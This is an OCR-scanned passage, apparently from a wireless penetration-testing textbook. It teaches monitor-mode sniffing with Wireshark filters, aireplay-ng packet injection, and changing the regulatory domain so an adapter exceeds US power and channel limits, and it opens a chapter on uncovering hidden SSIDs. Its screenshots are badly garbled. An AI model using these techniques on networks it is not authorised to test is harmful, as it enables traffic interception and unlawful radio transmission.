IEEE 802.11 Beacon frame, Flags: 

IEEE 802.11 wireless LAN management frame 





4, These are wireless packets that your wireless adapter is sniffing off the air. 
In order to view any packet, select it in the top window and the entire packet 
will be displayed in the middle window. 
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Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
i ai # 2¢5979F% 66 


Filter: | | Expression... 


re Time Source Destination Protecal Length Info 


1450 147. 60009200¢ D-Link 62:6d:08 Broadcast 802.11 142 Beaca 
1451 147. 70252300¢ D-Link 62:6d:08 Broadcast B02.11 142 Beaco |=} 
1452 147. 80484900¢D-Link_62:6d:08 Broadcast ~802.11— Real 
1453 147.90792900€ D-Link 62:6d:08 Broadcast B027.11 142 Beaco |¥ 
a ey ee 8 
/> Frame 1452: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0||* 
> Radiotap Header vO, Length 18 E 
> IEEE 802.11 Beacon frame, Flags: 
wv IEEE 302.11 wireless LAN management frame 
> Fixed parameters (12 bytes) 
¥ Tagged parameters (88 bytes) 
¥ Tag: SSID parameter set: Upstairs 
Tag Number: SSID parameter set (0) 
1 L h 


=. I 


745 meee =: 
Sy eee SS 
1 Soe a 





Click on the triangle in front of IEEE 802.11 Wireless LAN management frame to 
expand and view additional information. 


Look at the different header fields in the packet and correlate them with the WLAN frame 
types and sub-types you have learned earlier. 


What just happened? 


We just sniffed out first set of packets off the air! We launched Wireshark, which used 

the monitor mode interface monO we created previously. You should notice, by looking at 
Wireshark's footer region, the speed at which the packets are being captured and also the 
number of packets captured till now. 
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Wireshark traces can be a bit daunting at times; even for a reasonably populated 

wireless network, you could end up sniffing a few thousand packets. Hence, it is important 
to be able to drill down to those packets that interest us. This can be accomplished using 
filters in Wireshark. Explore how you can use these filters to identify unique wireless devices 
in the traces— both access points and wireless clients. 


If you are unable to do this, don't worry as this is the next thing we will learn. 


Time for action — viewing management, control, and data frames 





Now we will learn how to apply filters in Wireshark to look at Management, Control and 
Data Frames. 


Please follow the below instructions step by step: 


1. To view all the Management frames in the packets being captured, enter the filter 
wlan.fc.type == 0 into the filter window and click Apply. You can stop the 
packet capture if you want to prevent the packets from scrolling down too fast. 


Capturing from monO [Wireshark 1.8.5 ] 


File Eqit View Go Capture Analyze Statistics Telephony Tools Internals Help 
Qi et = AQ €¢ V?#%i BG 


Filter: 'wlan.fe.type== | ~ Expression... Clear Save 








No, Time Source Destination Protocol Length Info 
ens re i a ah A a a a a Sora eer sa a ar hiaras ea pai arsamtelee =| 
1453 147.90792900C D-Link _62:6d: Broadcast 802.11 142 Beaco 
1454 148. 00983500¢ D-Link _62:6d: Broadcast 802.11 142 Beaco| | 
1455 148.11230000CD-Link 62:6d:08 Broadcast B02.11 142 Beaco |” 
om TRE | [> 


cea 


b Frame 1452: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0||- 
> Radiotap Header vO, Length 18 2 
> IEEE 802.11 Beacon frame, Flags: 
v IEEE 802.11 wireless LAN management frame 
> Fixed parameters (12 bytes) 
Y¥ Tagged parameters (88 bytes!) 
¥ Tag: SSID parameter set: Upstairs 
Tag Number: SSID parameter set (Q) 
: —_— 


— 


12 48 00 OO OO O02 Gc 09: 
10) SOs tt ta te ee att 
OO 2: 3-62 6d 08. 7O fl-le 47 3 

7 64 OC 04 00 068 sb 70 #3 74 6 
of » 96 63 O81 O1 dd 16 

3560 f2 62 61600 0O SO f2 02 O1 OO Cc 
4 00.30 dd 18 00 50 f2 
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2. Toview Control Frames, modify the filter expression to read wlan.fc.type == 1. 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
24: B88 


Filter: |wlan.fe.type==1 | Expression... Clear opp. Save 


No, Time Source Destination Protocol Length Info 

, 13 1.026481000° = =O Vate 64581140 (RA) ~BO2.11 = 238 Ackno 
15 1.026492000 D-Link 62:6d:08 (RA) 802.11 28 Ackno 
17 1.029211000 Private_64:81:40 (RA) 802.11 28 Ackno’ 
19 1.029221000 D-Link 62:6d:08 (RA) 802.11. 28 Ackno' 


= 





+= Frame 13: 28 bytes on wire (224 bits), 28 bytes captured (224 bits) on interface 0 
‘(> Radiotap Header vO, Length 18 
‘> IEEE 802.11 Acknowledgement, Flags: 


(0000 OO GO 12 OO Ze 48 00 GO O00 O2 Gc O9 aQ OO a8 Ol 
0010 GO 60 d4 OO G0 OO 00 bb 3a 64 81 40 














| 
3. Toview data frames, modify the filter expression to wlan.fc.type == 2. 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


Ql Ql el =|Q € aAey Ele 


Filter: |wlan.fc.type==2_ | - | Expression... Clear 45) Save 


No, Time Source Destination Protocol Length Info | 
189 13.563688000 HonHaiPr_7O:bd:cb Netgear_2a:7b:c B02.11 ~ 42 Null |= 
487 43.775537000 Private_64:81:40 D-Link_62:6d:08 eO2,.11 44 QoS N 

“535 48,571158000 D-Link 62:6d:08 —=—— Private 64781740  ~— BOP 11118 Qos Dy 
539 48.770532000 Private_64:81:40 D-Link_62:6d:08 B02.11 44 QoS Ni 


i }) 








/> Frame 535: 118 bytes on wire (944 bits), 118 bytes captured (944 bits) on interface 0 
> Radiotap Header vO, Length 18 

> IEEE 802.11 QoS Data, Flags: .p....F. 

> Data (66 bytes) 























}oo00 
fOO18 
Oo20 
O30 
6040 
(0050 








i 
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4. To additionally select a sub-type, use the wlan.fc.subtype filter. 
For example, to view all the Beacon frames among all Management frames, 


use the following filter: 
(wlan.fc.type == 0) && (wlan.fc.subtype == 8). 


Capturing from monO [Wireshark 1.8.5 ] 
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


so @@ @#2¢°09778 8 


Filter: | (wlan.fc.type==0) && (wlan.fc.subtype==8) v |Expression... Clear “p Save 


No, Time Source Destination Protocol Length Info 

"533 487550416000 D-Link 627 6d'08 “Broadcast BOLI 142 Beacol 
537 48.652957000 D-Link 62:60:08 Broadcast 802.11 142 Beaco) 
538 48.755640000 D-Link 62:6d:08 Broadcast 802.11 142 Beaco. 
541 48.857660000 D-Link 62:6d:08 Broadcast 802.11 142 Beaco |¥ 


[2 


iD Frame S33: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface o |[- 
bP Radiotap Header vO, Length 18 z 
‘> IEEE 892.11 Beacon frame, Flags: 
i IEEE 802.11 wireless LAN management frame 

> Fixed parameters (12 bytes) 

¥ Tagged parameters (88 bytes) 

¥ Tag: SSID parameter set: Upstairs 
Tag Number: SSID parameter set (0) 
—[ ul 


"= ah 





5. Alternately, you can right-click on any of the header fields in the middle window and 
then select Apply as Filter | Selected to add it as a filter. 
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File Edit View Go Capture Analyze Statistics Telephony Tools 


Q a 


Filter: | 


No, Time Source 
537 48.652957000 D-Link_ 
538 48.755640000 D-Link 
329 486. /7/03532000 Private 
540 48, 7709927000 


> Frame 538: 142 bytes on wir 


> Radiotap Header vO, Length 

> IEEE 802.11 Beacon frame, F 
i TEEE 802.11 wireless LAN ma 
> Fixed parameters (12 byte 

¥ Tagged parameters (88 byt 

~ Tag: SSID parameter se) 

Tag Number: SSID par 

a rt = 


== 


28 
ale) 
boa 
dd. 
Sb | 
OZ 
Ol 


Mark Packet (toggle) 

Ignore Packet (toggle) 

Set Time Reference (toggle) 
Time Shift... 


Edit or Add Packet Comment... 


Prepare a Filter 
Conversation Filter 


Colorize Conversation 
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Internals Help 


Protocol Length Info 
802.11 142 Beaco 
02 142 Beaco 


. and Selected 
. or Selected 
. and not Selected 


. or not Selected 





6. This will automatically add the correct filter expression for you in the Filter field. 


What just happened? 


We just learned how to filter packets in Wireshark using various filter expressions. 
This helps us monitor selected packets from devices we are interested in, instead of 
trying to analyze all the packets in the air. 


Also, we can see that the packet headers of Management, Control and Data frames are in 
plain text and are not encrypted. Anyone who can sniff the packets can read these headers. 
It is also important to note that it is also possible for a hacker to modify any of these packets 
and re-transmit them. As there is no integrity or replay attack mitigation in the protocol, this 
is very easy to do. We will look at some of these attacks in later chapters. 
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Have a go hero — playing with filters 





You can consult Wireshark's manual to know more about available filter expressions and how 
to use them. Try playing around with various filter combinations till you are confident that 
you can drill down to any level of detail, even in a very large packet trace. 


In the next exercise, we will look at how to sniff data packets transferred between our access 
point and wireless client. 


Time for action — sniffing data packets for our network 





In this exercise, we will learn how to sniff data packets for a given wireless network. 
For the sake of simplicity, we will look at packets without any encryption. 


Follow these instructions to get started: 


1. Switch on the access point we named Wireless Lab. Let it remain configured 
to use no encryption. 


2. \ewill first need to find the channel on which the Wireless Lab access point is 
running. To do this, open a terminal and run airodump-ng --bssid <mac> 
mon0O where <mac>, which is the MAC address of our access point. Let the program 
run, and shortly you should see your access point shown on the screen along with 
the channel it is running on. 


3. Wecansee from the preceding screenshot that our access point Wireless Lab is 
running on Channel 11. Note that this may be different for your access point. 


In order to sniff data packets going to and fro from this access point, we need to 
lock our wireless card on the same channel, that is channel 11. To do this, run 
the iwconfig monO channel 11 command and then run iwconfig mono to 
verify it. You should see the Frequency: 2.462 GHz value in the output. This 
corresponds to Channel 11. 


root@kali: ~ 


File Eqit View Search Terminal Help 
-~# iwconfig mon@ channel 11 
:~H 
Ht 


'“# iwconfig mong 

TEEE 802%.11b9gn Mode:Monitor Frequency:2.462 GHz ITx-Power=20 dBm 
Retry long Limit:/ RIS thr:off Fragment thr:off 

Power Management :on 


= ff 
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4, Now fire up Wireshark and start sniffing on the monO interface. After Wireshark 
has started sniffing the packets, apply a filter for the bssid of our access point as 
shown below using wlan.bssid == <mac> inthe filter area. Use the appropriate 
MAC address for your access point. 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


Qi al & a 7F:£6 


Filter: 'wlan.bssid==9C:D3:6D:2A:7B:CO ~ | Expression... Clear Save 


No, Time Source Destination Protocol Length Info 


——. £E = ihe ol gi 
= SE 


te 3. Leas ORe NETQEar_<d./DeCu — BPOsaeast 2 260 BECO 
16 3.129059000 Netgear_2a:7b:cO EdimaxTe 8f:34:d5 802.11 331 Probe Re 


¥ Frame 14: 285 bytes on wire (2280 bits), 285 bytes captured (2280 bits) on interface 0 
Interface id: 0 
WTAP ENCAP: 23 
Arrival Time: Aug 25, 2014 20:39:45.512515000 BST 

a u | : 

0000 OO 00 12 00 Ze 48 00 BO OO OF Se O9 ad OO bO Ol 

0010 60 00 80 00 OO OO Tf ff ff ff ff ff Se dB Gd 2a 

0020 Yb cO Sc d3 Gd 2a 7b cO 20 7b 98 c? ed b? 53 OO 





5. Inorder to see the data packets for our access point, add the following to the filter 
(wlan.bssid == <mac>) && (wlan.fc.type subtype == 0x20).Open 
your browser on the client laptop and type in the management interface the URL of 
the access point. In my case, as we have seen in Chapter 1, Wireless Lab Setup, it is 
http://192.168.0.1. This will generate data packets that Wireshark will capture. 


6. Packet sniffing allows us to analyze unencrypted data packets very easily. This is 
the reason why we need to use encryption in wireless. 


What just happened? 


We have just sniffed data packets over the air with Wireshark using various filters. As our 
access point is not using any encryption, we are able to see all the data in plain text. This is 
a major security issue as anyone within RF range of the access point can see all the packets 
if he uses a sniffer such as Wireshark. 
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Use Wireshark to analyze the data packets further. You would notice that a DHCP request 

is made by the client and, if a DHCP server is available, it responds with an address. Then 
you would find ARP packets and other protocol packets on the air. This is a nice and simple 
way to do passive host discovery on the wireless network. It is important to be able to see a 
packet trace and reconstruct how applications on the wireless host are communicating with 
the rest of the network. One of the interesting features Wireshark provides is the ability to 
follow a stream. This allows you to view multiple packets together, that are part of a TCP 
exchange, in the same connection. 





Also, try logging into www.gmail.comor any other popular website and analyze the data 
traffic generated. 


We will now see a demonstration of how to inject packets into a wireless network. 


Time for action — packet injection 


We will be using the aireplay-ng tool, which is available in Kali, for this exercise. 





Follow the instructions below carefully: 


1. In order to do an injection test, first start Wireshark and the filter expression 
(wlan. bssid == <mac>) && !(wlan.fc.type subtype == 0x08). 
This will ensure that we only see non-beacon packets for our lab network. 


2. Nowrun the following command aireplay-ng -9 -e Wireless Lab -a <mac> 
mono on a terminal. 


3. Go back to Wireshark and you should see a lot of packets on the screen now. 
Some of these packets have been sent by aireplay-ng, which we launched, and 
others are from the access point Wireless Lab in response to the injected packets. 


What just happened? 


We just successfully injected packets into our test lab network using aireplay-ng. It is 
important to note that our card injected these arbitrary packets into the network without 
being actually connected to the access point Wireless Lab. 
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We will look at packet injection in greater detail in later chapters; however, feel free to 
explore other options of the Aireplay-ng tool to inject packets. You can verify whether 
injection succeeded by using Wireshark to monitor the air. 


Important note on WLAN sniffing and injection 


WLANs typically operate within three different frequency ranges — : 2.4 GHz, 3.6 GHz and 
4.9/5.0 GHz. Not all Wi-Fi cards support all these ranges and associated bands. For instance,, 
an Alfa card only supports IEEE 802.11b/g. This would mean that this card cannot operate in 
802.11a/n. The key here is to sniff or inject packets in a particular band; your Wi-Fi card will 
need to support it. 


Another interesting aspect of Wi-Fi is that, in each of these bands, there are multiple channels. 
It is important to note that your Wi-Fi card can only be on one channel at any given moment. 
It is not possible to tune into multiple channels at the same time. The best analogy | can give 
you is your car radio. You can tune it to only one of the available channels at any given time. If 
you want to hear to something else, you will have to change the channel. The same principle 
applies to WLAN Sniffing. This brings us to an important conclusion—we cannot sniff all 
channels at the same time; we will need to select the channel that is of interest to us. What 
this means is that, if our access point of interest is on channel 1, we will need to set our card 
on channel 1. 


Though we have addressed WLAN sniffing in the above paragraphs, the same applies to 
injection as well. To inject packets on a specific channel, we will need to put the card radio 
on that channel. 


Let's now do some exercises on setting our card to specific channels, channel hopping, 
setting regulatory domains, power levels etc. 





Time for action — experimenting with your adapter 


Follow the instructions below carefully: 


1. Enterthe iwconfig wlano command to check the capabilities of your card. 
As you Can see in the figure below, my adapter can operate in the b, g, and n bands. 


-~# iwconfig mong 
mong TEEE 802.1] bor piste Sa lela nied see tale (0-15 en eee ean | ea de) = 8 | 


Retry Long Limit:? RIS thr:off Fragment thr:off 
Power Management :on 
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Ze 


To set the card on a particular channel, we use the iwconfig monO channel X 
commands. 


root@kali: ~ 


File Edit View Search Terminal Help 


root@kali:+# iwconfig mon@ channel 11 

root@kali:~# 

root@kali:~# iwconfig mond 

mone TEEE 862.11bgn Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm 


Retry Long Limit:/ RIS thr:off Fragment thr:off 
Power Management :on 


root@kali:~# 
root@kali:~# 
root@kali:~# 








The iwconfig series of commands does not have a channel hopping mode. 

One could write a simple script over it to make it do so. An easier way is to use 
Airodump-NG with options to either hop channels arbitrarily, use only a subset, 

or use only selected bands. All these options are illustrated in the screenshot below 
when we run airodump-ng --help: 


root@kali: ~ 


File Edit View Search Terminal Help 
Options: 

--ivs : Save only captured [Vs 

--gpsd : Use GPSd 

--write <prefix> : Dump file prefix 

-W : same as --write 

--beacons > Record all beacons in dump file 

--Update secs> : Display update delay in seconds 

- -showack : Prints ack/cts/rts statistics 

-h : Hides Known stations for --showack 

ot =msecs> : Time in ms between hopping channels 

--berLlin <secs> : [ime before removing the AP/client 
from the screen when no more packets 
are received (Default: 170 seconds) 

nl <file> : Read packets from that file 

-X =msecs> : Active Scanning Simulation 

--manuTfacturer : Display manufacturer from IEEE OUI List 

--output - format 

<Tformats> : Output, Tarmat..Possible Values: 

pcoap, ivs, csv, gps, kismet, netxml 

--ignore-negative-one : Removes the message that says 
fixed channel <interface=: -1l 


Filter options: 
--eancrypt <suite> : Filter APs by cipher suite 
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What just happened? 


We understood that both wireless sniffing and packet injection depend on the hardware 
support available. This means that we can only operate on bands and channels allowed by 
our card. Also, the wireless card radio can only be on one channel at a time. This further 
means that we can only sniff or inject in one channel at a time. 





If you need to simultaneously sniff on multiple channels, you will require multiple physical 
Wi-Fi cards. If you can procure additional cards, then try to sniff on multiple channels 
simultaneously. 


The role of regulatory domains in wireless 


The complexities of Wi-Fi don't end here. Every country has its own unlicensed spectrum 
allocation policy. This specifically dictates allowed power levels and allowed users for the 
spectrum. In the US, for example, the FCC decides this and, if you use WLANs in the US, you 
have to abide by these regulations. In some countries, not doing this is a punishable offense. 


Now let's look at how we can find the default regulatory settings and then how to change 
them if required. 


Time for action — experimenting with your adapter 





Follow these instructions carefully: 
1. Reboot your computer and do not connect your adapter to it yet. 


2. Once logged in, monitor the kernel messages using the tail command: 


root@kali: ~ 


File Edit View Search Terminal Help 


-~# tall -f -n @ /var/Llog/méessages 





S!lL,_.,H,\.WW 28d DR JS ____ 
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Insert the adapter, and you should see something that resembles the following 
screenshot. This shows the default regulatory settings applied to your card: 


File Edit View Search Jerminal 


root@kali: ~ 


Help 


-~# tail -f -n @ /var/Llog/méssages 


Aug 45 19:58:17 kali kerneL: 
umber 3 using ehci hed 

Aug 25 19:58:17 kali kernel: 
dor=/392?, idProduct=//11 

ug 25 19:58:17 kali kerneL: 


Product=?7, SerialNumber=3 


g 25 19:58:17 kali kernel: 

gq 25 19:58:17 kali kernel: 

25 19:58:17 kali kerneL: 

25 19:58:18 kali kernel: 
number 3 using ehci hed 


[ 2610./36263] usb 1-1: new high-speed USB device n 
[ 2610.894/2/] usb 1-1: New USB device found, idVen 


[ 27610.894734] usb 1: New USB device strings: Mfr 


[ 2610.894/738] usb 1-1: Product: 802.11 n WLAN 
[ 2618.894741] usb 1-1: Manufacturer: Ralink 

[ 4610.894/744] usb 1-1: SerialNumber: 1.0 
[ 


4611.18001/] usb 1-1: reset high-speed USB device 


Aug 25 19:58:18 kali mtp-probe: checking bus 1, device 3: "/sys/devices/pciGdGt: 
/0000:02:03.0/usb1/1-1" 


Aug 25 19:58:18 kali mtp-pr 
Aug 45 19:58:18 kali kernel: 


oaded rt28/0.bin into memory 


Aug 25 19:58:21 kali kernel: 
mk is not ready 





bus: 1, device: 3 was mot an MIP device 
£611.86842/] rt280G0usb 1-1:1.0: firmware: agent L 


2614..62262/] 2LPv6), ADDRCONF(NETDEV UP): wlanl: Li 


3. Let's assume that you are based in the US. To change your regulatory domain to 
the US, we issue the command iw reg set US inanew terminal: 


File Edit View Search Terminal 


[~# iw reg set US 


root@kali: ~ 


Help 





If the command is successful, we get an output such as the one in the following 
screenshot in the terminal where we monitoring /var/log/messages: 
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root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kkali: - ' root@kkali: = 


root@kali:~# tail -f -n @ /var/log/messages 
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25 20:00:37 kali kernel: [ 2/750.341258] cfg80211: Calling CRDA for country: 


25 20:00:37 kali Kernel: [ 2/750.350662] cfg80211: Regulatory domain 
country: US 


changed 


25 20:00:37 kali kernel: [ 2/50.35086/] cfg80211: (start_freq - end freq @ 


bandwidth), (max antenna gain, max eirp) 


Aug 25 20:00:37 kali kernel: [ 2750. 350871] cfgs0211: (2407600 KHz 24727000 


Hz @ 40000 KHz), (300 mBi, 2/7680 mBm) 

Aug 425 20:00:37 kali kernel: [ 2750.350916] cTfg#0211: KHz 
Hz @ 40000 KHz), (300 mBi, 1700 mBm) 

Aug 25 20:00:37 kali kernel: [ 2750.350970] cfqg80211: (575600068 
Hz @ 40008 KHz), (300 mBi, 2000 mBm) 

Aug 45 70:00:37 kali kernel: [ 2750.350973] cfg80711: (54900060 
Hz @ 40000 KHz), (300 mBi, 20GG) TBM) 

Aug 25 20:00:37 kali kernel: [| @¥5@.850926] cfqgé@27li1; (56500068 
Hz @ 40000 KHz), (300 mBi, 2000 mbm) 

Aug 25 20:00:37 kali kernel: [ 2750.350929] cfqg80?11: (5/35006 
Hz @ 40000 KHz), (300 mBi, 3000 mBm) 





5/1600 


5835000 


4. Nowtry changing the card to channel 11; it will work. But, when you try changing 
it to channel 12, you get an error. This is because channel 12, cannot be used in 


the US. 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: - | root@kali: ~ 

root@kali:-~# iwconfig wlanl channel 11 

root@kali:~# 

root@kali:~# 

root@kali:~# iwconfig wlanl 

wlanl TEEE 8@2.11lbgn ESSID:off/any 
Mode:Managed Frequency:2.462 Access Point: Not-Associated 
Tx-Power=2/ dBm 
Retry Long Limit:/ RTS thr:off Fragment thr:off 
Encryption key:off 
Power Management :on 

root@kali:~# iwconfig wlanl channel 12 

Error for wireless request "Set Frequency" [(8BO04)} 

SET failed on device wlanl ; Invalid argument. 

root@kali:~# iwconfig wlanl 

wlanl IEEE 882.11lbgn ESSID: of f/any 
Mode:Managed Frequency:2.467 GHz Access Point: Not-Associated 
Tx-Power=2/ dBm 
Retry Long Limit:/ RIS thr:off Fragment thr:off 
Encryption key:off 
Power Management :on 


root@kali:~# Jj 
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5. Thesame applies for power levels. The US only allows a maximum of 27 dBm 
(500 milliwatts); thus even though my adapter has an advertised power of 1 Watt 
(30 dBm), we cannot set the card to the maximum transmit power: 


root@kali: ~ 


File Eqit View Search Terminal Tabs Help 


 root@kali: ~ root@kali: ~ 


--# iwconfig wlanl txpower 2/7 
: =f 
: =i 
i~# iwconfig wlanl txpower 30 
Error for wireless request "Set Tx Power" (&8B?26) 
SET failed on device wlanl ; Invalid argument. 


in | 





6. However, if we were in Bolivia, then we could transmit at a power of 1 Watt as this 
is allowed there. As we can see, once we set the regulatory domain to Bolivia—iw 
reg set BO—we can change the card power to 30DMB or 1 Watt. We can also use 
channel 12 in Bolivia, which was disallowed in the US: 


root@kali: ~ 


File Eqit View Search Jerminal Tabs Help 


 root@kali: ~ | root@kali: ~ 
i~# iw reg set BO 
-~# iwconfig wlanl txpower 30 
-~# iwconfig wlanl channel - 
-~# iwconfig wlanl 


IEEE 802.11bgn ESSID:off/any 

Mode:Managed Frequency:2.46/ GHz Access Point: Not-Associated 
Tx-Power=30 dBm 

Retry Long Limit:/ RTS thrioff Fragment thr:off 

Encryption key:off 

Power Management :on 


= ft 
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What just happened? 


Every country has its own regulations for the use of the unlicensed wireless band. When 
we set our regulatory domain to a specific country, our card will obey the allowed channels 
and power levels specified. However, it is easy to change the regulatory domain of the card 
and force it to work on disallowed channels and to transmit at a power level that is greater 
than allowed. 





Look at the various parameters you can set such as channel, power, regulatory domains etc. 
using the iw series of commands on Kali. This should give you a firm understanding of how to 
configure your card when you are in various countries and require to change your card settings. 


Pop quiz— WLAN packet sniffing and injection 
Q1. Which frame types are responsible for authentication in WLANs? 


1. Control 

2. Management 
3. Data 

4. Qos 


Q2. What is the name of the second monitor mode interface that can be created on wlanO 
using airmon-ng? 

1. Mond 
2. Monti 
3. 1Mon 
4. Monb 


Q3. What is the filter expression to view all non-beacon frames in Wireshark? 


1. '!(wlan.fc.type_subtype == 0x08) 
2. Wlan.fc.type subtype == 0x08 
3. (no beacon) 

4. Wlan.fc.type == 0x08 
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Summary 


In this chapter, we have made some key observations about WLAN protocols. 


Management, Control and Data frames are unencrypted and thus can be easily read by 
someone who is monitoring the airspace. It is important to note here that the data packet 
payload can be protected using encryption to keep it confidential. We will talk about this 
in the next chapter. 


We can sniff the entire airspace in our vicinity by putting our card into monitor mode. 


As there is no integrity protection in Management and Control frames, it is very easy to inject 
these packets by modifying them or replaying them as-is using tools such as aireplay-ng. 


Unencrypted data packets can also be modified and replayed back to the network. If the 
packet is encrypted, we can still replay the packet as-is, as WLAN by design does not have 
packet replay protection. 


In the next chapter, we will look at different authentication mechanisms that are used in 
WLANs such as MAC filtering and shared Authentication etc. and understand the various 
security flaws in them through live demonstrations. 








Bypassing WLAN Authentication 


"A false sense of security is worse than being unsure." 


Anonymous 


A false sense of security is worse than being insecure, as you may not be 
prepared to face the eventuality of being hacked. 


WLANs can have weak authentication schemas that can be easily broken and 
bypassed. In this chapter, we will take a look at the various basic authentication 
schemas used in WLANs and learn how to beat them. 





In this chapter, we will take a look at the following topics: 


¢ ¢ © «©¢ 


Uncovering hidden SSIDs 

Beating MAC filters 

Bypassing Open Authentication 
Bypassing Shared Key Authentication 
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In the default configuration mode, all access points send out their SSIDs in Beacon frames. 
This allows clients in the vicinity to discover them easily. Hidden SSIDs is a configuration 
where the access point does not broadcast its SSID in Beacon frames. Thus, only clients that 
know the SSID of the access point can connect to it. 


Unfortunately, this measure does not provide robust security, but most network 
administrators think it does. Hidden SSIDs should not be considered a security measure by 
any stretch of the imagination. We will now take a look at how to uncover hidden SSIDs. 


Time for action — uncovering hidden SSIDs 


Perform the following instructions to get started: 





1. Using Wireshark, if we monitor Beacon frames in the Wireless Lab network, 
we are able to see the SSID in plain text. You should see Beacon frames, as shown 
in the following screenshot: 


mono: Capturing - Wireshark 





-Link 0d2:8e:25 = frame, SN=2399 Flegs=........ C, 81=100, SSID="Wireless Lab" 
)-Link_d2:8e:25 Broat 302 Beacc S 1 C, BI=100, SSID="Wirel 


acon frame, SN=2400, =0, fagses . S523.565) Bis Wireless Lab' 
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> Frame 1 (251 bytes on wire, 251 bytes c 


\g Radiotap Header vO, Length 32 

| IEEE 802.11 Beacon frame, Flaas: 

ly IEEE 802.11 wireless LAN management f 
> Fixed parameters (12 bytes) 


~ Tagged parameters (179 bytes) 


~ SSID parameter set: “Wireless Lab" 
Tag Number: © (SSID parameter set) 
Tag length: 12 
Tag interpretation: Wireless Lab 
~ Supported Rates: 1.0(B8) 2.0(B) 5.5(B) 11.0(B) 
Tag Number: 1 (Supported Rates) 
Tag length: 4 
Tag interpretation: Supported rates: 1.0(8) 2.0(8) 5.5 


DS Parameter set: Current Channel: 11 
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2. Configure your access point to set the Wireless Lab network as a hidden SSID. 
The configuration option to do this may differ across access points. In my case, | 
need to check the Invisible option in the Visibility Status option, 
as shown in the following screenshot: 





TR-LINK 


Status 

Quick Setup Wireless Security 

WPS 

Network ‘ S 
Disable Security 

Wireless 


- Wireless Settings 
WPA/WPA2 - Personal(Recommended) 


- Wireless MAC Filtering Version: WPA-PSK 
- Wireless Advanced Encryption: AES . 


_ Wireless Statistics Wireless Password: _abedefgh 





DHCP (You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
Forwarding Group Key Update Period: | 0 Seconds 
Security (Keep it default if you are not sure, minimum is 30, 0 means no update) 


Parental Control WPA/WPA2 - Enterprise 


Access Control Version: —— Automatic 





Advanced Routing 
Bandwidth Control 
IP & MAC Binding 


Encryption: = | Automattic 





Radius Server IP: 


Radius Port: 181 2? (1-65535, 0 stands for default port 1812) 


Dynamic DNS 
Radius Password: 

System Tools — 
Group Key Update Period: | (in second, minimum is 30, 0 means no update) 








WEP 
Type: ‘Automatic v 
WEP Key Format: Hexadecimal ¥ 
Key Selected - WEP Key Key Type 
Key1: @ | | ABCDEFABCDEFABCDEFABCDEF12 | |128bit ¥ 
Key 2: | | [Disabled | 
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3. Nowif you take a look at the Wireshark trace, you will find that the SSID 
Wireless Lab has disappeared from the Beacon frames. This is what hidden 
SSIDs are all about: 


mend: Capturing - Wireshark ea =" 


ite Ede View Go Capture Analyte Statisixa Help 


Raa kBaxe2@ercee2nF2 BS 2Aagqgn seVRe SB 


(if) iter: [wlan.addr == 00:21:91:d2:8e:25 *| a Expression... fh clear| <1? apply 

[A 
A D-Link ce:Beres Broadcast B62 Beacon frame, SN=l]102, FNet, Flaqe=.... Bl=100, Soi D=esreascast 
6 5 279871 O-Link nd2s8e:25 Broadcast IEEE 862 Beacon frame, SNe 1103, FNe®, Flags=........ as Bl=1a0, SSIDs Broadcast 
98.3783 79 D-Link d2:8e:25 Broadcast IEEE S62 Beacon frame, SN=1104, FNe@, Flage=,.......0, Bl=100, SSID=Broadeé ast 
11 6. 4852706 D-Link _d?#:Be:25 Broadcast IEEE S62 Beacon frame, EN=1105, FN, Flags=.-....-. q, BI=180, S51 D=Broaade ast 
13 8.581454 D-Link _d2:Be:25 Broadcast [EEE B62 Beacon frame, SN=]1085, FNeG@, Flage=,...-.... C, Bl=190, So] D=Grasdeast 
15 6.686168 D-Link_d2:6e:25 Broadcast [EEE 862 Beacon frame, SNellO7, FNe@, Flages........ C, Biald0, SS1DsBroadcast 
18 6. 789321 D-Link _d2;S6;25 Breadeast [EEE 902 Beacon framé, SN=-11G0, FNef, Flags=-,.......0, BI=-100, SSID-Broadcast 
#1 8.687379 D-Link _d2:6e:25 Broadcast IEEE 562 Beacon frame, SN=1109, FN=0, Flags=........ C, Bl=100, S55] D=6roadcast 
24 6.994475 D-Link dz: 80:25 Broadcast IEEE 882 Beacon frame, SN=1119, FN=@, Flags=,....... C, Bl=1900, SS1D=Brosdcast 
27 1.003457 D-Link_d2:Ge:25 Broadcast IEEE 862 Beacon frame, SNel111, FNe@, Flages,....... C, Blaléd, SSID=sGroadcast 
41 1.194699 D-Link_d?;Be:25 Broade ast IEEE 882 Beacon framé, SN=J112, FNel, Flags-,..,....€, BI-180, SS] D-Broadcast 
34 1.296837 D-Link_d2:8e:25 Broadcast IEEE S62 Beacon frame, SN=1113, FN=@, Flags=......-- C, Bl=160, S58] D=Broaadec ast 
35 1.413898 De Link didi beiwdo Broadcast IEEE 882 Beacon frame, SN=1114, FN=@, Flags=........€, Bl=100, SS1D=Broeeadcest 


Frame 4 (239 bytes on wire, 239 bytes captured) 
* Radiotap Header vO, Length 32 
* TEEE 802.11 Beacon frame, Flags: ........0 
* TEEE 802.11 wireless LAN management frane 
' Fixed paraneters (12 bytes) 
" Tagged parameters (167 bytes) 
* SSI0 parameter set: Broadcast 
Tag Number: © (SSID paraneter set) 
Tag length: & 
Tag Interpretation: 
~ Supported Rates: 1.0(8) 2.6(B) 5.5(6) 11.6008) 
Tag fumber: 1 (Supported Rates) 
Tag Length: 4 
Tag interpretation: Supported rates: 1.6(8) 2.008) 5.5(6) 11.6{B) ([Mbit/sec] 
= 0S Parameter set: Current Channel: 11 





1800 88 6G 20 60 2f 468 66 06 24 4b a? 36 61 66 6B GO Ree eee es Dara 
BE 14 Bt Ge 89 ao go fF 1 80 860 G6 86 OO OB OF Bo LL le eee eee ree: 
